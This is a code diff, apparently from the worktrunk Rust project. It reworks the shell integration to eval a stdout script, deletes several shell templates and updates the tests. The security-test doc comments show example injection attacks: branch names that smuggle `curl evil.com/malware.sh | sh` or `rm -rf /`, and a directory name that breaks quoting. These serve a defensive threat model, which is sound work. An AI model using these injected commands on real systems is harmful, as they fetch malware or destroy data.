WORKTRUNK_BINfunction {{ cmd_prefix }}set -l use_source falseset -l args- set -l saved_cmd $_WORKTRUNK_CMD# Check for --source flag and strip itfor arg in $argv@@ -104,10 +44,9 @@ if type -q {{ cmd_prefix }}; or set -q WORKTRUNK_BIN# If --source was specified, build and use local debug binaryif test $use_source = trueif not cargo build --quiet- set _WORKTRUNK_CMD $saved_cmdreturn 1end- set _WORKTRUNK_CMD ./target/debug/{{ cmd_prefix }}+ set -lx WORKTRUNK_BIN ./target/debug/{{ cmd_prefix }}end# Force colors if stderr is a TTY (directive mode outputs to stderr)@@ -120,11 +59,6 @@ if type -q {{ cmd_prefix }}; or set -q WORKTRUNK_BIN# Always use --internal mode for directive supportwt_exec --internal $args-- # Restore original command- set -l result $status- set _WORKTRUNK_CMD $saved_cmd- return $resultend# Completions are loaded from ~/.config/fish/completions/wt.fishdiff --git a/templates/nushell.nu b/templates/nushell.nudeleted file mode 100644index e248a4552..000000000--- a/templates/nushell.nu+++ /dev/null@@ -1,97 +0,0 @@-# worktrunk shell integration for nushell--# Only initialize if {{ cmd_prefix }} is available (in PATH or via WORKTRUNK_BIN)-if (which {{ cmd_prefix }} | is-not-empty) or ($env.WORKTRUNK_BIN? | is-not-empty) {- # Use WORKTRUNK_BIN if set, otherwise default to '{{ cmd_prefix }}'- # This allows testing development builds: $env.WORKTRUNK_BIN = ./target/debug/{{ cmd_prefix }}- let _WORKTRUNK_CMD = (if ($env.WORKTRUNK_BIN? | is-not-empty) { $env.WORKTRUNK_BIN } else { "{{ cmd_prefix }}" })-- # Helper function to parse wt output and handle directives- # Directives are NUL-terminated to support multi-line commands- # NOTE: Uses 'complete' which buffers output. Nushell's streaming model doesn't- # provide primitives for byte-level reading of process output, so real-time- # streaming is not currently possible. Exit codes are captured correctly.- export def --env wt_exec [cmd?: string, ...args] {- let command = (if ($cmd | is-empty) { $_WORKTRUNK_CMD } else { $cmd })-- # Run command and capture result- # stderr passes through to terminal for TTY detection- let result = (do { ^$command ...$args } | complete)- mut exec_cmd = ""-- # Split output on NUL bytes, process each chunk- for chunk in ($result.stdout | split row "\u{0000}") {- if ($chunk | str starts-with "__WORKTRUNK_CD__") {- # CD directive - extract path and change directory- let path = ($chunk | str replace --regex '^__WORKTRUNK_CD__' '')- if ($path | path exists) and ($path | path type) == "dir" {- cd $path- } else {- print $"Error: Not a directory: ($path)" | str trim- }- } else if ($chunk | str starts-with "__WORKTRUNK_EXEC__") {- # EXEC directive - extract command (may contain newlines)- $exec_cmd = ($chunk | str replace --regex '^__WORKTRUNK_EXEC__' '')- } else if ($chunk | str length) > 0 {- # Regular output - print it- print $chunk- }- }-- # Execute command if one was specified- # Exit code semantics: If wt fails, returns wt's exit code (command never executes).- # If wt succeeds but command fails, returns the command's exit code.- if ($exec_cmd != "") {- # Security: Command comes from wt --internal output; eval is intentional- let cmd_result = (do { nu -c $exec_cmd } | complete)- return $cmd_result.exit_code- }-- # Return the actual exit code from the command- return $result.exit_code- }-- # Override {{ cmd_prefix }} command to add --internal flag- # Use --wrapped to pass through all flags without parsing them- export def --env --wrapped {{ cmd_prefix }} [...rest] {- mut use_source = false- mut filtered_args = []-- # Check for --source flag and strip it- for arg in $rest {- if $arg == "--source" {- $use_source = true- } else {- $filtered_args = ($filtered_args | append $arg)- }- }-- # Determine which command to use- let cmd = if $use_source {- let build_result = (do { cargo build --quiet } | complete)- if $build_result.exit_code != 0 {- print "Error: cargo build failed"- return 1- }- "./target/debug/{{ cmd_prefix }}"- } else {- $_WORKTRUNK_CMD- }-- # Force colors if terminal is available (directive mode outputs to stderr)- # Respects NO_COLOR and explicit CLICOLOR_FORCE- # Note: Nushell's term size doesn't distinguish stdout vs stderr, but in directive- # mode output goes to stderr, so this check is conservative (may enable colors when- # stdout is TTY but stderr is redirected - users can set NO_COLOR to disable)- if ($env.NO_COLOR? | is-empty) and ($env.CLICOLOR_FORCE? | is-empty) {- if (do -i { term size } | is-not-empty) {- load-env { CLICOLOR_FORCE: "1" }- }- }-- # Always use --internal mode for directive support- let internal_args = (["--internal"] | append $filtered_args)- let exit_code = (wt_exec $cmd ...$internal_args)- return $exit_code- }-}diff --git a/templates/posix_directives.sh b/templates/posix_directives.shindex a3e2f2e46..c770a0da4 100644--- a/templates/posix_directives.sh+++ b/templates/posix_directives.sh@@ -1,133 +1,28 @@-# Shared directive parser for POSIX shells (bash, zsh, oil).-# Streams worktrunk's NUL-delimited output in real-time via FIFO while keeping-# stderr attached to the TTY for child processes (colors, progress bars).+# Simple shell integration for POSIX shells (bash, zsh).#-# Note: Named without leading underscore to avoid being filtered by shell-# snapshot systems (e.g., Claude Code) that exclude private functions.-# Note: Uses ${_WORKTRUNK_CMD:-{{ cmd_prefix }}} fallback because shell snapshot-# systems may capture functions but not environment variables.+# Captures the shell script from wt's stdout and evals it in the parent shell.+# stderr streams directly to the terminal for real-time user feedback.+#+# This pattern (stderr for logs, stdout for script) is proven by direnv.+# No FIFOs, no background processes, no job control suppression needed.+#+# Set WORKTRUNK_BIN to test development builds: WORKTRUNK_BIN=./target/debug/wtwt_exec() {- # ┌─────────────────────────────────────────────────────────────────────────┐- # │ BASH JOB CONTROL: Why we need TWO suppression mechanisms │- # │ │- # │ Bash has two separate job notification mechanisms that are controlled │- # │ by DIFFERENT flags: │- # │ │- # │ 1. START notification "[1] 12345" (when `&` runs): │- # │ - Controlled by `interactive` flag, NOT `monitor` (-m) │- # │ - Printed by describe_pid() via DESCRIBE_PID macro in jobs.c │- # │ - Cannot be disabled by any shell option in an interactive shell │- # │ - Must be suppressed via stderr redirection: { cmd & } 2>/dev/null │- # │ │- # │ 2. DONE notification "[1]+ Done ..." (at next prompt): │- # │ - Controlled by `monitor` (-m) option │- # │ - Only printed for jobs started while monitor mode was ON │- # │ - Suppressed by `set +m` BEFORE backgrounding the job │- # │ │- # │ References: │- # │ - https://www.gnu.org/s/bash/manual/html_node/Job-Control-Basics.html │- # │ - https://superuser.com/questions/489722 (job notifications vs monitor) │- # │ - https://stackoverflow.com/questions/20707316 (suppress background) │- # └─────────────────────────────────────────────────────────────────────────┘-- # Suppress DONE notifications by disabling monitor mode.- # zsh: LOCAL_OPTIONS makes the change function-scoped (automatic restore)- # bash: must manually save/restore since set +m affects the global shell- # Note: We only touch -m, not -b (notify), to preserve user's notify preference.- local _wt_saved_monitor=""- if [[ -n "${ZSH_VERSION:-}" ]]; then- setopt LOCAL_OPTIONS NO_MONITOR- elif [[ -n "${BASH_VERSION:-}" && $- == *m* ]]; then- _wt_saved_monitor=1- set +m- fi-- local exec_cmd="" chunk="" exit_code=0 tmp_dir="" fifo_path="" runner_pid=""-- # Cleanup handler for signals and normal exit- _wt_cleanup() {- # Kill background process if still running- if [[ -n "$runner_pid" ]] && kill -0 "$runner_pid" 2>/dev/null; then- kill "$runner_pid" 2>/dev/null || true+ local script exit_code=0++ # Run wt with stderr attached to terminal (2>&2)+ # Capture stdout (the shell script) into $script+ script="$(command "${WORKTRUNK_BIN:-{{ cmd_prefix }}}" "$@" 2>&2)" || exit_code=$?++ # Eval the script (cd, exec command, etc.) even on failure+ # This ensures cd happens before returning the error code+ if [[ -n "$script" ]]; then+ eval "$script"+ # If script contains a command (--execute), use its exit code+ if [[ $exit_code -eq 0 ]]; then+ exit_code=$?fi- # Remove temp files- /bin/rm -f "$fifo_path" 2>/dev/null || true- /bin/rmdir "$tmp_dir" 2>/dev/null || true- # Restore bash job control if we disabled it- [[ -n "$_wt_saved_monitor" ]] && set -m- }-- # On SIGINT: cleanup and exit immediately with 130- trap '_wt_cleanup; return 130' INT-- # Create temp directory with FIFO for streaming output- tmp_dir=$(mktemp -d "${TMPDIR:-/tmp}/wt.XXXXXX") || {- echo "Failed to create temp directory for worktrunk shim" >&2- [[ -n "$_wt_saved_monitor" ]] && set -m- return 1- }- fifo_path="$tmp_dir/stdout.fifo"-- if ! mkfifo "$fifo_path"; then- echo "Failed to create FIFO for worktrunk shim" >&2- /bin/rm -rf "$tmp_dir"- [[ -n "$_wt_saved_monitor" ]] && set -m- return 1- fi-- # Run worktrunk in background, piping stdout to FIFO.- # Backgrounding is required: the FIFO blocks until both ends connect, so we- # must background the writer (wt) while the foreground reads from it.- #- # For bash: Suppress the START notification "[1] 12345" via fd redirection.- # The job-start message is printed by bash's describe_pid() to stderr when- # `&` executes. By wrapping in { } with 2>/dev/null, we catch that message- # while preserving the command's own stderr via fd 9.- #- # This pattern is stable across bash 3.x-5.x: describe_pid() has printed to- # stderr since early bash versions, and redirections on grouped commands- # affecting the shell's own writes is standard POSIX behavior.- if [[ -n "${BASH_VERSION:-}" ]]; then- exec 9>&2 # Save real stderr to fd 9 for the command's errors- { command "${_WORKTRUNK_CMD:-{{ cmd_prefix }}}" "$@" >"$fifo_path" 2>&9 & } 2>/dev/null- runner_pid=$!- exec 9>&- # Close fd 9- else- command "${_WORKTRUNK_CMD:-{{ cmd_prefix }}}" "$@" >"$fifo_path" &- runner_pid=$!- fi-- # Parse directives as they stream in- while IFS= read -r -d '' chunk || [[ -n "$chunk" ]]; do- if [[ "$chunk" == __WORKTRUNK_CD__* ]]; then- # Directory change directive- local path="${chunk#__WORKTRUNK_CD__}"- \cd "$path"- elif [[ "$chunk" == __WORKTRUNK_EXEC__* ]]; then- # Command execution directive (deferred until after worktrunk exits)- exec_cmd="${chunk#__WORKTRUNK_EXEC__}"- else- # Regular output - print to stdout- [[ -n "$chunk" ]] && printf '%s\n' "$chunk"- fi- done <"$fifo_path"-- # Wait for worktrunk to complete and capture its exit code.- # Note: `wait $pid` works correctly even with monitor mode disabled (set +m).- # Unlike `disown` which removes jobs from bash's tracking entirely, `set +m`- # only disables job control features (fg/bg, DONE notifications) while still- # allowing exit status retrieval via wait.- wait "$runner_pid" >/dev/null 2>&1 || exit_code=$?-- # Cleanup- trap - INT- _wt_cleanup-- # Execute deferred command if specified (its exit code takes precedence)- if [[ -n "$exec_cmd" ]]; then- eval "$exec_cmd"- exit_code=$?fi- return "${exit_code:-0}"+ return "$exit_code"}diff --git a/templates/powershell.ps1 b/templates/powershell.ps1deleted file mode 100644index 98b1a5e56..000000000--- a/templates/powershell.ps1+++ /dev/null@@ -1,142 +0,0 @@-# worktrunk shell integration for PowerShell--# Only initialize if {{ cmd_prefix }} is available (in PATH or via WORKTRUNK_BIN)-if ((Get-Command {{ cmd_prefix }} -ErrorAction SilentlyContinue) -or $env:WORKTRUNK_BIN) {- # Use WORKTRUNK_BIN if set, otherwise default to '{{ cmd_prefix }}'- # This allows testing development builds: $env:WORKTRUNK_BIN = "./target/debug/{{ cmd_prefix }}"- $script:_WORKTRUNK_CMD = if ($env:WORKTRUNK_BIN) { $env:WORKTRUNK_BIN } else { "{{ cmd_prefix }}" }-- # Helper function to parse wt output and handle directives- # Directives are NUL-terminated to support multi-line commands- function wt_exec {- param(- [string]$Command,- [Parameter(ValueFromRemainingArguments=$true)]- [string[]]$Arguments- )-- # Use provided command or default to _WORKTRUNK_CMD- $cmd = if ($Command) { $Command } else { $script:_WORKTRUNK_CMD }-- # Set up process with stdout redirection for real-time streaming- # stderr passes through to terminal for TTY detection- $psi = New-Object System.Diagnostics.ProcessStartInfo- $psi.FileName = $cmd- $psi.Arguments = ($Arguments | ForEach-Object {- if ($_ -match '\s') { "`"$_`"" } else { $_ }- }) -join ' '- $psi.RedirectStandardOutput = $true- $psi.RedirectStandardError = $false- $psi.UseShellExecute = $false-- $process = New-Object System.Diagnostics.Process- $process.StartInfo = $psi- $process.Start() | Out-Null-- # Read stdout character by character for real-time processing- $reader = $process.StandardOutput- $buffer = New-Object System.Text.StringBuilder- $execCmd = ""-- # Read and process output as it arrives- while (-not $reader.EndOfStream) {- $charCode = $reader.Read()- if ($charCode -eq -1) { break } # Explicit EOF check- $char = [char]$charCode-- if ($char -eq "`0") {- # NUL byte - process the buffered chunk immediately- $chunk = $buffer.ToString()-- if ($chunk -match '^__WORKTRUNK_CD__') {- # CD directive - extract path and change directory- $path = $chunk -replace '^__WORKTRUNK_CD__', ''- if (Test-Path -Path $path -PathType Container) {- Set-Location $path- } else {- Write-Error "Error: Not a directory: $path"- }- } elseif ($chunk -match '^__WORKTRUNK_EXEC__') {- # EXEC directive - extract command (may contain newlines)- $execCmd = $chunk -replace '^__WORKTRUNK_EXEC__', ''- } elseif ($chunk) {- # Regular output - write it immediately- Write-Output $chunk- }-- $buffer.Clear()- } else {- $buffer.Append($char) | Out-Null- }- }-- # Process any remaining buffer (shouldn't happen with NUL-terminated protocol)- if ($buffer.Length -gt 0) {- $chunk = $buffer.ToString()- if ($chunk) {- Write-Output $chunk- }- }-- # Wait for process and get actual exit code- $process.WaitForExit()- $exitCode = $process.ExitCode-- # Execute command if one was specified- # Exit code semantics: If wt fails, returns wt's exit code (command never executes).- # If wt succeeds but command fails, returns the command's exit code.- if ($execCmd) {- # Security: Command comes from wt --internal output; eval is intentional- Invoke-Expression $execCmd- $exitCode = $LASTEXITCODE- }-- # Return the exit code- return $exitCode- }-- # Override {{ cmd_prefix }} command to add --internal flag- function {{ cmd_prefix }} {- param(- [Parameter(ValueFromRemainingArguments=$true)]- [string[]]$Arguments- )-- $useSource = $false- $filteredArgs = @()-- # Check for --source flag and strip it- foreach ($arg in $Arguments) {- if ($arg -eq "--source") {- $useSource = $true- } else {- $filteredArgs += $arg- }- }-- # Determine which command to use- if ($useSource) {- # Build the project- cargo build --quiet 2>&1 | Out-Null- if ($LASTEXITCODE -ne 0) {- Write-Error "Error: cargo build failed"- return 1- }- $cmd = "./target/debug/{{ cmd_prefix }}"- } else {- $cmd = $script:_WORKTRUNK_CMD- }-- # Force colors if stderr is a TTY (directive mode outputs to stderr)- # Respects NO_COLOR and explicit CLICOLOR_FORCE- if (-not $env:NO_COLOR -and -not $env:CLICOLOR_FORCE) {- if ([Console]::IsErrorRedirected -eq $false) {- $env:CLICOLOR_FORCE = "1"- }- }-- # Always use --internal mode for directive support- $exitCode = wt_exec -Command $cmd --internal @filteredArgs- return $exitCode- }-}diff --git a/templates/xonsh.xsh b/templates/xonsh.xshdeleted file mode 100644index 682693e0d..000000000--- a/templates/xonsh.xsh+++ /dev/null@@ -1,115 +0,0 @@-# worktrunk shell integration for xonsh--# Only initialize if {{ cmd_prefix }} is available (in PATH or via WORKTRUNK_BIN)-import shutil-import os-import sys-if shutil.which("{{ cmd_prefix }}") is not None or os.environ.get('WORKTRUNK_BIN'):- # Use WORKTRUNK_BIN if set, otherwise default to '{{ cmd_prefix }}'- # This allows testing development builds: $WORKTRUNK_BIN = ./target/debug/{{ cmd_prefix }}- _WORKTRUNK_CMD = os.environ.get('WORKTRUNK_BIN', '{{ cmd_prefix }}')-- def wt_exec(args, cmd=None):- """Helper function to parse wt output and handle directives- Directives are NUL-terminated to support multi-line commands"""- import subprocess-- # Use provided command or default to _WORKTRUNK_CMD- command = cmd if cmd is not None else _WORKTRUNK_CMD-- # Start process with stdout redirection for real-time streaming- # stderr passes through to terminal for TTY detection- proc = subprocess.Popen(- [command] + args,- stdout=subprocess.PIPE,- stderr=None, # Let stderr pass through- text=True,- bufsize=0 # Unbuffered for real-time streaming- )-- # Read stdout character by character for real-time processing- buffer = ""- exec_cmd = ""-- # Read and process output as it arrives- try:- while True:- char = proc.stdout.read(1)- if not char:- break-- if char == '\0':- # NUL byte - process the buffered chunk immediately- if buffer.startswith("__WORKTRUNK_CD__"):- # CD directive - extract path and change directory- path = buffer.replace("__WORKTRUNK_CD__", "", 1)- if os.path.isdir(path):- cd @(path)- else:- print(f"Error: Not a directory: {path}", file=sys.stderr)- elif buffer.startswith("__WORKTRUNK_EXEC__"):- # EXEC directive - extract command (may contain newlines)- exec_cmd = buffer.replace("__WORKTRUNK_EXEC__", "", 1)- elif buffer:- # Regular output - print it immediately- print(buffer)-- buffer = ""- else:- buffer += char- except IOError as e:- print(f"Error reading command output: {e}", file=sys.stderr)-- # Process any remaining buffer (shouldn't happen with NUL-terminated protocol)- if buffer:- print(buffer)-- # Wait for process and get actual exit code- exit_code = proc.wait()-- # Execute command if one was specified- # Exit code semantics: If wt fails, returns wt's exit code (command never executes).- # If wt succeeds but command fails, returns the command's exit code.- if exec_cmd:- # Security: Command comes from wt --internal output; eval is intentional- execx(exec_cmd)- # execx() sets __xonsh__.env['LASTRETURNCODE'] to the exit code- return __xonsh__.env.get('LASTRETURNCODE', 0)-- # Return the actual exit code from the command- return exit_code-- def _{{ cmd_prefix }}_wrapper(args):- """Override {{ cmd_prefix }} command to add --internal flag"""- use_source = False- filtered_args = []-- # Check for --source flag and strip it- for arg in args:- if arg == "--source":- use_source = True- else:- filtered_args.append(arg)-- # Determine which command to use- if use_source:- # Build the project- build_result = !(cargo build --quiet)- if build_result.returncode != 0:- print("Error: cargo build failed", file=sys.stderr)- return 1- cmd = "./target/debug/{{ cmd_prefix }}"- else:- cmd = _WORKTRUNK_CMD-- # Force colors if stderr is a TTY (directive mode outputs to stderr)- # Respects NO_COLOR and explicit CLICOLOR_FORCE- if 'NO_COLOR' not in os.environ and 'CLICOLOR_FORCE' not in os.environ:- if sys.stderr.isatty():- os.environ['CLICOLOR_FORCE'] = '1'-- # Always use --internal mode for directive support- return wt_exec(["--internal"] + filtered_args, cmd=cmd)-- # Register the alias- aliases['{{ cmd_prefix }}'] = _{{ cmd_prefix }}_wrapperdiff --git a/tests/integration_tests/directives.rs b/tests/integration_tests/directives.rsindex 278585947..561205477 100644--- a/tests/integration_tests/directives.rs+++ b/tests/integration_tests/directives.rs@@ -12,8 +12,8 @@ fn test_switch_internal_directive() {let mut settings = Settings::clone_current();settings.set_snapshot_path("../snapshots");- // Normalize the directive path output- settings.add_filter(r"__WORKTRUNK_CD__[^\n]+", "__WORKTRUNK_CD__[PATH]");+ // Normalize the shell script cd path output+ settings.add_filter(r"cd '[^']+'", "cd '[PATH]'");settings.bind(|| {let mut cmd = wt_command();@@ -73,8 +73,8 @@ fn test_remove_internal_directive() {let mut settings = Settings::clone_current();settings.set_snapshot_path("../snapshots");- // Normalize the directive path output- settings.add_filter(r"__WORKTRUNK_CD__[^\n]+", "__WORKTRUNK_CD__[PATH]");+ // Normalize the shell script cd path output+ settings.add_filter(r"cd '[^']+'", "cd '[PATH]'");settings.bind(|| {let mut cmd = wt_command();@@ -87,7 +87,8 @@ fn test_remove_internal_directive() {success: trueexit_code: 0----- stdout ------ __WORKTRUNK_CD__[PATH]+ cd '[PATH]'+----- stderr -----🔄 [36mRemoving [1m[36mmain[0m[36m worktree & branch in background[0m");@@ -172,8 +173,8 @@ fn test_merge_internal_no_remove() {});}-/// Test merge command with internal flag (removes worktree, emits __WORKTRUNK_CD__)-/// This test verifies that the directive protocol is correctly formatted with NUL terminators+/// Test merge command with internal flag (removes worktree, emits cd shell script)+/// This test verifies that the shell script output is correctly formatted#[test]fn test_merge_internal_remove() {let mut repo = TestRepo::new();@@ -210,7 +211,7 @@ fn test_merge_internal_remove() {let mut settings = setup_snapshot_settings(&repo);// Normalize SHA and path in outputsettings.add_filter(r"@ [a-f0-9]{7}", "@ [SHA]");- settings.add_filter(r"__WORKTRUNK_CD__[^\x00]+", "__WORKTRUNK_CD__[PATH]");+ settings.add_filter(r"cd '[^']+'", "cd '[PATH]'");settings.bind(|| {let mut cmd = wt_command();@@ -220,8 +221,6 @@ fn test_merge_internal_remove() {.arg("main").current_dir(&feature_wt);- // Note: Using file snapshot instead of inline because multiline inline snapshots- // don't work well with NUL bytes (\0) in the outputassert_cmd_snapshot!(cmd);});}diff --git a/tests/integration_tests/security.rs b/tests/integration_tests/security.rsindex 8737dcd31..22edaafaf 100644--- a/tests/integration_tests/security.rs+++ b/tests/integration_tests/security.rs@@ -1,142 +1,93 @@-//! Security tests for directive injection vulnerabilities+//! Security tests for shell script injection vulnerabilities//!//! # Attack Surface Analysis//!-//! Worktrunk uses a directive protocol for shell integration. Commands with `--internal` output-//! special directives that the shell wrapper interprets:+//! Worktrunk uses a shell script protocol for shell integration. Commands with `--internal`:+//! - Stream all user-visible output (progress, errors, hints) to stderr in real-time+//! - Emit a shell script to stdout at the end (cd commands, exec commands)//!-//! - `__WORKTRUNK_CD__/path\0` → shell executes `cd /path`-//! - `__WORKTRUNK_EXEC__command\0` → shell executes `eval command`-//! - Other output → printed to user+//! The shell wrapper captures stdout via command substitution and evals it:+//! ```bash+//! script="$(wt --internal ... 2>&2)" && eval "$script"+//! ```//!-//! ## Vulnerability: Directive Injection+//! ## Vulnerability: Shell Injection//!-//! If external content (branch names, commit messages, file paths, git output) can inject these-//! magic strings into stdout, the shell will execute them. This is analogous to SQL injection+//! If external content (branch names, file paths, git output) can inject malicious shell+//! code into stdout, the shell wrapper will execute it. This is analogous to SQL injection//! or command injection vulnerabilities.//!//! ## Attack Vectors//!-//! ### 1. NUL Byte Injection (HIGH RISK)-//!-//! The shell wrapper splits output on NUL bytes (`\0`). If an attacker can inject a NUL byte-//! followed by a directive into user content, they can execute arbitrary commands.-//!-//! **Example attack:**-//! ```bash-//! # Create branch with malicious name containing NUL + directive-//! git branch $'feature\0__WORKTRUNK_EXEC__curl evil.com/malware.sh | sh'-//! wt switch --internal $'feature\0__WORKTRUNK_EXEC__curl evil.com/malware.sh | sh'-//! ```-//!-//! When worktrunk outputs:-//! ```-//! ✅ Switched to feature\0__WORKTRUNK_EXEC__curl evil.com/malware.sh | sh\0-//! ```-//!-//! The shell splits this into two chunks:-//! 1. `✅ Switched to feature` (printed)-//! 2. `__WORKTRUNK_EXEC__curl evil.com/malware.sh | sh` (EXECUTED!)-//!-//! ### 2. Line-Start Directive Injection (MEDIUM RISK)+//! ### 1. Path Injection via Single Quote Escaping (HIGH RISK if not escaped)//!-//! If user content appears at the start of a line/chunk, it could be misinterpreted as a directive.+//! Paths are emitted in single quotes: `cd '/path/to/worktree'`+//! Single quotes prevent most shell metacharacter expansion, but embedded single quotes+//! could break out of the quoting if not properly escaped.//!-//! **Example attack:**+//! **Example attack (if unescaped):**//! ```bash-//! # Branch name that looks like a directive-//! git branch '__WORKTRUNK_EXEC__rm -rf /'-//! wt switch --internal '__WORKTRUNK_EXEC__rm -rf /'+//! # Create directory with malicious name+//! mkdir "test'; rm -rf /; echo '"+//! wt switch --internal branch # If cd emits: cd 'test'; rm -rf /; echo ''//! ```//!-//! If output is poorly formatted, this could be executed.+//! **Protection:** All paths are escaped using `replace('\'', "'\\''")` pattern,+//! which is the standard POSIX approach for embedding single quotes in single-quoted strings.//!-//! ### 3. Newline + Directive Injection (MEDIUM RISK)-//!-//! Similar to NUL injection, but using newlines. Less dangerous since directives should be-//! NUL-terminated, but could cause issues with certain output paths.-//!-//! **Example attack:**-//! ```bash-//! git commit -m $'Fix bug\n__WORKTRUNK_EXEC__evil_command'-//! ```+//! ### 2. Execute Command Injection (LOW RISK - user-controlled)//!-//! ### 4. Path Injection (LOW RISK)+//! The `--execute` flag lets users specify shell commands to run. This is intentionally+//! user-controlled and not an injection vector (users can already run arbitrary commands).//!-//! File paths or worktree paths containing directives.+//! ### 3. Branch Name in Output (NO RISK)//!-//! **Example attack:**-//! ```bash-//! mkdir '__WORKTRUNK_EXEC__evil_command'-//! ```+//! Branch names appear in stderr messages, not in the stdout shell script.+//! The shell wrapper only evals stdout, so stderr content cannot be executed.//!//! ## Current Protections//!-//! **Multi-layered defense against NUL injection:**+//! **Shell script protocol with proper escaping:**//!-//! 1. **Git layer**: Git REJECTS NUL bytes in commit messages and ref names-//! ```-//! $ git commit -m $'Fix\0__WORKTRUNK_EXEC__evil'-//! error: a NUL byte in commit log message not allowed.-//! ```-//!-//! 2. **Filesystem layer**: OS truncates filenames at NUL byte-//! ```-//! $ touch $'file\0evil' # Creates "file", not "file\0evil"-//! ```+//! 1. **Channel separation**: User messages go to stderr, shell script goes to stdout+//! - Shell wrapper only evals stdout: `script="$(... 2>&2)" && eval "$script"`+//! - Malicious content in stderr cannot be executed//!-//! 3. **Rust layer**: Command API rejects NUL bytes in arguments+//! 2. **Path escaping**: All paths use single quotes with `'\''` escape pattern//! ```rust-//! Command::new("git").arg("branch\0evil") // Error: InvalidInput+//! let escaped = path_str.replace('\'', "'\\''");+//! writeln!(stdout, "cd '{}'", escaped)?;//! ```+//! This handles all shell metacharacters: `$`, `` ` ``, `;`, `&`, `|`, spaces, etc.//!-//! 4. **Directive protocol**:-//! - **NUL termination**: Directives are NUL-terminated, creating natural boundaries-//! - **Prefix matching**: Shell wrapper checks if chunks START with `__WORKTRUNK_CD__` or `__WORKTRUNK_EXEC__`-//!-//! ## Vulnerabilities We Test-//!-//! This test suite verifies that user-controlled content CANNOT inject directives:+//! 3. **Git layer**: Git REJECTS invalid characters in ref names//!-//! 1. ✅ Branch names with NUL bytes + directives-//! 2. ✅ Branch names that are directives themselves-//! 3. ✅ Commit messages with directives-//! 4. ✅ File paths with directives-//! 5. ✅ Git hook output with directives (when implemented)-//! 6. ✅ Config values with directives (when implemented)+//! 4. **Filesystem layer**: OS enforces valid path characters//!-//! ## Gaps & Future Work-//!-//! ### Known Vulnerabilities (Not Yet Protected)-//!-//! - **No escaping of user content**: User content (branch names, paths) is output as-is-//! - **Same channel for directives and messages**: Both use stdout, making injection possible-//! - **No cryptographic verification**: Shell can't verify directives came from worktrunk+//! ## Vulnerabilities We Test//!-//! ### Potential Solutions+//! This test suite verifies that user-controlled content CANNOT inject shell commands://!-//! 1. **Escape user content** (RECOMMENDED):-//! - Before outputting any external content, replace `__WORKTRUNK_` with `__WORKTRUNK\u{200B}_` (zero-width space)-//! - Or strip NUL bytes from user content-//! - Simple, effective, backward-compatible+//! 1. ✅ Branch names with shell metacharacters+//! 2. ✅ Branch names with single quotes+//! 3. ✅ Paths with special characters+//! 4. ✅ Git output with shell commands//!-//! 2. **Separate channels**:-//! - Directives on stdout, user messages on stderr-//! - Hard to maintain temporal ordering+//! ## Security Model//!-//! 3. **Cryptographic signing**:-//! - Sign each directive with a session secret-//! - Complex, may not be worth it+//! The new shell script protocol is simpler and more secure than the previous NUL-delimited+//! directive protocol://!-//! 4. **Structural encoding**:-//! - Use a structured format (JSON lines, msgpack) instead of raw text-//! - More robust but requires changing shell wrapper+//! 1. **Simpler parsing**: No NUL byte parsing in shell, just command substitution + eval+//! 2. **Channel separation**: Messages on stderr, script on stdout (not interleaved)+//! 3. **Standard escaping**: Uses well-understood POSIX single-quote escaping+//! 4. **Smaller attack surface**: Only cd and exec commands in stdout, nothing else//!//! ### Testing Limitations//!//! These tests verify that:-//! - The binary doesn't accidentally execute directives from user content-//! - The output format is as expected+//! - Path escaping is correct for shell metacharacters+//! - Branch names with special characters don't break quoting//!//! However, they DON'T fully test shell execution security because://! - Tests run the Rust binary, not the shell wrapperdiff --git a/tests/integration_tests/shell_wrapper.rs b/tests/integration_tests/shell_wrapper.rsindex a43bef25c..0c4251c04 100644--- a/tests/integration_tests/shell_wrapper.rs+++ b/tests/integration_tests/shell_wrapper.rs@@ -534,8 +534,8 @@ fn exec_bash_truly_interactive(/// This simulates what actually happens when users run `wt switch`, etc. in their shell:/// 1. The `wt` function is defined (from shell integration)/// 2. It calls `wt_exec --internal switch ...`-/// 3. The wrapper parses NUL-delimited output and handles directives-/// 4. Users see only the final human-friendly output+/// 3. The wrapper captures stdout (shell script) via command substitution and evals it+/// 4. Users see stderr output (progress, success, hints) in real-time////// Now uses PTY interactive mode for consistent behavior and potential input echoing.///@@ -1367,14 +1367,13 @@ approved-commands = ["echo 'background task'"]// ============================================================================//// These tests verify that the Fish shell wrapper correctly:- // 1. Parses NUL-delimited directives from `wt --internal`- // 2. Never leaks directives to users- // 3. Preserves all user-visible output (progress, success, hints)- // 4. Handles Fish-specific psub process substitution correctly+ // 1. Captures stdout (shell script) via command substitution and evals it+ // 2. Streams stderr (progress, success, hints) to terminal in real-time+ // 3. Never leaks shell script commands to users+ // 4. Preserves exit codes from both wt and executed commands//- // Fish uses `read -z` to parse NUL-delimited chunks and `psub` for- // process substitution. These have known limitations (fish-shell #1040)- // but work correctly for our use case.+ // Fish uses `string collect` to join command substitution output into+ // a single string before eval (fish splits on newlines by default).#[cfg(unix)]#[test]diff --git a/tests/integration_tests/snapshots/integration__integration_tests__approval_pty__approval_prompt_permission_error.snap b/tests/integration_tests/snapshots/integration__integration_tests__approval_pty__approval_prompt_permission_error.snapindex f8f0bdfa3..cff9a0d94 100644--- a/tests/integration_tests/snapshots/integration__integration_tests__approval_pty__approval_prompt_permission_error.snap+++ b/tests/integration_tests/snapshots/integration__integration_tests__approval_pty__approval_prompt_permission_error.snap@@ -10,7 +10,7 @@ y[107m [0m [1m[2m[34mecho[0m [2m[32m'test command'[0m[0m💡 Allow and remember? [1m[y/N][0m-🟡 [33mFailed to save command approval: Failed to write config file: Permission denied (os error 13)[0m+🟡 Failed to save command approval: Failed to write config file: Permission denied (os error 13)💡 [2mYou will be prompted again next time.[0m🔄 [36mRunning post-create:[0m[107m [0m [1m[2m[34mecho[0m [2m[32m'test command'[0m[0mdiff --git a/tests/integration_tests/switch.rs b/tests/integration_tests/switch.rsindex 063a011e9..8cb0f668c 100644--- a/tests/integration_tests/switch.rs+++ b/tests/integration_tests/switch.rs@@ -568,3 +568,37 @@ fn test_switch_default_branch_missing_worktree() {snapshot_switch("switch_default_branch_missing_worktree", &repo, &["main"]);}++/// Test that --execute with exit code is emitted in directive mode shell script.+/// The shell wrapper will eval this script and propagate the exit code.+#[test]+fn test_switch_internal_execute_exit_code() {+ let repo = setup_switch_repo();++ // wt succeeds (exit 0), but shell script contains "exit 42"+ // Shell wrapper will eval and return 42+ snapshot_switch_with_global_flags(+ "switch_internal_execute_exit_code",+ &repo,+ &["--create", "exit-code-test", "--execute", "exit 42"],+ &["--internal"],+ );+}++/// Test execute command failure propagation in directive mode.+/// When wt 